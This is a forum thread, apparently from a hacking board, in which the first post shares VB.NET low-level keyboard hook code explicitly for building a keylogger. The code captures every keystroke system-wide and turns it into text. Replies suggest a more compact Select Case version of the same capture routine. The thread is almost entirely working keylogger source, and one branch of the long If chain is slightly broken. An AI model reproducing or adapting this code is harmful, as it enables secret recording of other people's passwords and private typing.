Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


[vb.net] Hook Code filter_list
Author
Message
[vb.net] Hook Code #1
Heh Guys am giving you almost all hook code which you can use in your keylogger so enjoy
Quote:Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105

Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure

Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer

Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer

Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Integer) As Integer


Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer


Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)

Private Shared KeyHook As Integer

Private Shared KeyHookDelegate As KeyboardProcDelegate

Public Sub New()

KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub

Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

If (nCode = HC_ACTION) Then
Select Case wParam

Case WM_KEYDOWN, WM_SYSKEYDOWN

RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP

RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If

Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()

UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
Dim strin As String = Nothing




Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "a"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "b"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "c"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "d"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "e"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "f"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "g"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "h"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "i"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "j"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "k"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "l"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "m"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "n"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "o"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "p"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "r"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "s"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "t"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "u"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "v"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "w"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "x"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text & "[BACK]"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine

ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.NumPad0 Then
TextBox1.Text = TextBox1.Text & "0"
ElseIf Key = Keys.NumPad1 Then
TextBox1.Text = TextBox1.Text & "1"
ElseIf Key = Keys.NumPad2 Then
TextBox1.Text = TextBox1.Text & "2"
ElseIf Key = Keys.NumPad3 Then
TextBox1.Text = TextBox1.Text & "3"
ElseIf Key = Keys.NumPad4 Then
TextBox1.Text = TextBox1.Text & "4"
ElseIf Key = Keys.NumPad5 Then
TextBox1.Text = TextBox1.Text & "5"
ElseIf Key = Keys.NumPad6 Then
TextBox1.Text = TextBox1.Text & "6"
ElseIf Key = Keys.NumPad7 Then
TextBox1.Text = TextBox1.Text & "7"
ElseIf Key = Keys.NumPad8 Then
TextBox1.Text = TextBox1.Text & "8"
ElseIf Key = Keys.NumPad9 Then
TextBox1.Text = TextBox1.Text & "9"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)

ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine

ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)

TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If
ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "1"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "2"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "3"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "4"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "5"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "6"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "7"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "8"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "9"
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + "0"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & ","
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "["
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "]"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "\"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ";"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "`"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
End If

ElseIf My.Computer.Keyboard.ShiftKeyDown = True And My.Computer.Keyboard.CapsLock = False Then
If Key = Keys.D1 Then
TextBox1.Text = TextBox1.Text + "!"
ElseIf Key = Keys.D2 Then
TextBox1.Text = TextBox1.Text + "@"
ElseIf Key = Keys.D3 Then
TextBox1.Text = TextBox1.Text + "#"
ElseIf Key = Keys.D4 Then
TextBox1.Text = TextBox1.Text + "$"
ElseIf Key = Keys.D5 Then
TextBox1.Text = TextBox1.Text + "%"
ElseIf Key = Keys.D6 Then
TextBox1.Text = TextBox1.Text + "^"
ElseIf Key = Keys.D7 Then
TextBox1.Text = TextBox1.Text + "&"
ElseIf Key = Keys.D8 Then
TextBox1.Text = TextBox1.Text + "*"
ElseIf Key = Keys.D9 Then
TextBox1.Text = TextBox1.Text + "("
ElseIf Key = Keys.D0 Then
TextBox1.Text = TextBox1.Text + ")"
ElseIf Key = Keys.A Then
TextBox1.Text = TextBox1.Text & "A"
ElseIf Key = Keys.B Then
TextBox1.Text = TextBox1.Text & "B"
ElseIf Key = Keys.C Then
TextBox1.Text = TextBox1.Text & "C"
ElseIf Key = Keys.D Then
TextBox1.Text = TextBox1.Text & "D"
ElseIf Key = Keys.E Then
TextBox1.Text = TextBox1.Text & "E"
ElseIf Key = Keys.F Then
TextBox1.Text = TextBox1.Text & "F"
ElseIf Key = Keys.G Then
TextBox1.Text = TextBox1.Text & "G"
ElseIf Key = Keys.H Then
TextBox1.Text = TextBox1.Text & "H"
ElseIf Key = Keys.I Then
TextBox1.Text = TextBox1.Text & "I"
ElseIf Key = Keys.J Then
TextBox1.Text = TextBox1.Text & "J"
ElseIf Key = Keys.K Then
TextBox1.Text = TextBox1.Text & "K"
ElseIf Key = Keys.L Then
TextBox1.Text = TextBox1.Text & "L"
ElseIf Key = Keys.M Then
TextBox1.Text = TextBox1.Text & "M"
ElseIf Key = Keys.N Then
TextBox1.Text = TextBox1.Text & "N"
ElseIf Key = Keys.O Then
TextBox1.Text = TextBox1.Text & "O"
ElseIf Key = Keys.P Then
TextBox1.Text = TextBox1.Text & "P"
ElseIf Key = Keys.Q Then
TextBox1.Text = TextBox1.Text & "Q"
ElseIf Key = Keys.R Then
TextBox1.Text = TextBox1.Text & "R"
ElseIf Key = Keys.S Then
TextBox1.Text = TextBox1.Text & "S"
ElseIf Key = Keys.T Then
TextBox1.Text = TextBox1.Text & "T"
ElseIf Key = Keys.U Then
TextBox1.Text = TextBox1.Text & "U"
ElseIf Key = Keys.V Then
TextBox1.Text = TextBox1.Text & "V"
ElseIf Key = Keys.W Then
TextBox1.Text = TextBox1.Text & "W"
ElseIf Key = Keys.X Then
TextBox1.Text = TextBox1.Text & "X"
ElseIf Key = Keys.Y Then
TextBox1.Text = TextBox1.Text & "Y"
ElseIf Key = Keys.Z Then
TextBox1.Text = TextBox1.Text & "Z"
ElseIf Key = Keys.Oemcomma Then
TextBox1.Text = TextBox1.Text & "<"
ElseIf Key = Keys.OemMinus Then
TextBox1.Text = TextBox1.Text & "_"
ElseIf Key = Keys.OemOpenBrackets Then
TextBox1.Text = TextBox1.Text & "{"
ElseIf Key = Keys.OemCloseBrackets Then
TextBox1.Text = TextBox1.Text & "}"
ElseIf Key = Keys.OemQuestion Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.OemPipe Then
TextBox1.Text = TextBox1.Text & "|"
ElseIf Key = Keys.Oem1 Then
TextBox1.Text = TextBox1.Text & ":"
ElseIf Key = Keys.OemPeriod Then
TextBox1.Text = TextBox1.Text & ">"
ElseIf Key = Keys.Oemtilde Then
TextBox1.Text = TextBox1.Text & "~"
ElseIf Key = Keys.Space Then
TextBox1.Text = TextBox1.Text & " "
ElseIf Key = Keys.Enter Then
TextBox1.Text = TextBox1.Text & vbNewLine
ElseIf Key = Keys.Delete Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Back Then
TextBox1.Text = TextBox1.Text.Remove(TextBox1.Text.Length - 1, 1)
ElseIf Key = Keys.Down Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Up Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Left Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Right Then
TextBox1.Text = TextBox1.Text & "?"
ElseIf Key = Keys.Tab Then
TextBox1.Text = TextBox1.Text & "[TAB]"
ElseIf Key = Keys.End Then
TextBox1.Text = TextBox1.Text & "[END]"
ElseIf Key = Keys.Escape Then
TextBox1.Text = TextBox1.Text & "[ESC]"
ElseIf Key = Keys.Divide Then
TextBox1.Text = TextBox1.Text & "/"
ElseIf Key = Keys.Decimal Then
TextBox1.Text = TextBox1.Text & "."
ElseIf Key = Keys.Subtract Then
TextBox1.Text = TextBox1.Text & "-"
ElseIf Key = Keys.Add Then
TextBox1.Text = TextBox1.Text & "+"
ElseIf Key = Keys.Multiply Then
TextBox1.Text = TextBox1.Text & "*"
ElseIf Key = Keys.OemQuotes Then
TextBox1.Text = TextBox1.Text & "'"
End If
End If
End Sub

H
You must register or login to view this content.

H
You must register or login to view this content.

Reply

RE: [vb.net] Hook Code #2
Instead of the huge ElseIf statement, why don't you use "Case" ? Also I'm sure there isn't need for such huge statement Smile
Staff will never ever ask you for your personal information.
We know everything about you anyway.

Reply

RE: [vb.net] Hook Code #3
1llusion yes your right Smile

H
You must register or login to view this content.

H
You must register or login to view this content.

Reply

RE: [vb.net] Hook Code #4
Nice share. Smile
But there are a lot smaller ways than that.
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: [vb.net] Hook Code #5
Here is a smaller KeyDown event code with the same functionality.

Code:
Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
        Dim bShift As Boolean = My.Computer.Keyboard.ShiftKeyDown
        Dim bCaps As Boolean = My.Computer.Keyboard.CapsLock

        Dim strBuilder As New System.Text.StringBuilder
        Select Case CInt(Key)
            Case 48 To 57
                Dim ArrNum As Char() = {")", "!", "@", "#", "$", "%", "^", "&", "*", "("}
                strBuilder.Append(If(bShift = True, ArrNum(CInt(Key) - 48), CInt(Key) - 48))
            Case 65 To 90
                If (bShift = False And bCaps = False) Or (bShift = True And bCaps = True) Then
                    strBuilder.Append(Key.ToString.ToLower)
                ElseIf (bShift = False And bCaps = True) Or (bShift = True And bCaps = False) Then
                    strBuilder.Append(Key.ToString.ToUpper)
                End If
            Case 96 To 105
                strBuilder.Append(CInt(Key) - 96)
            Case 186 To 192
                Dim ArrSymbShift As Char() = {":", "+", "<", "_", ">", "?", "~"}
                Dim ArrSymb As Char() = {";", "=", ",", "-", ".", "/", "`"}
                strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 186), ArrSymb(CInt(Key) - 186)))
            Case 219 To 222
                Dim ArrSymbShift As Char() = {"{", "|", "}", """"}
                Dim ArrSymb As Char() = {"[", "\", "]", "'"}
                strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 219), ArrSymb(CInt(Key) - 219)))
            Case Else
                Select Case Key
                    Case Keys.Back
                        strBuilder.Append("←")
                    Case Keys.Return
                        strBuilder.Append("↵" & vbNewLine)
                    Case Keys.Space
                        strBuilder.Append(" ")
                    Case Keys.Tab
                        strBuilder.Append("[TAB]")
                    Case Keys.End
                        strBuilder.Append("[END]")
                    Case Keys.Escape
                        strBuilder.Append("[ESC]")
                    Case Keys.Divide
                        strBuilder.Append("/")
                    Case Keys.Decimal
                        strBuilder.Append(".")
                    Case Keys.Subtract
                        strBuilder.Append("-")
                    Case Keys.Add
                        strBuilder.Append("+")
                    Case Keys.Multiply
                        strBuilder.Append("*")
                End Select
        End Select

        TextBox1.AppendText(strBuilder.ToString)
    End Sub
[Image: rytwG00.png]
Redcat Revolution!

Reply

RE: [vb.net] Hook Code #6
Coder San thanks really helpful vouch to you

H
You must register or login to view this content.

H
You must register or login to view this content.

Reply







Users browsing this thread: 1 Guest(s)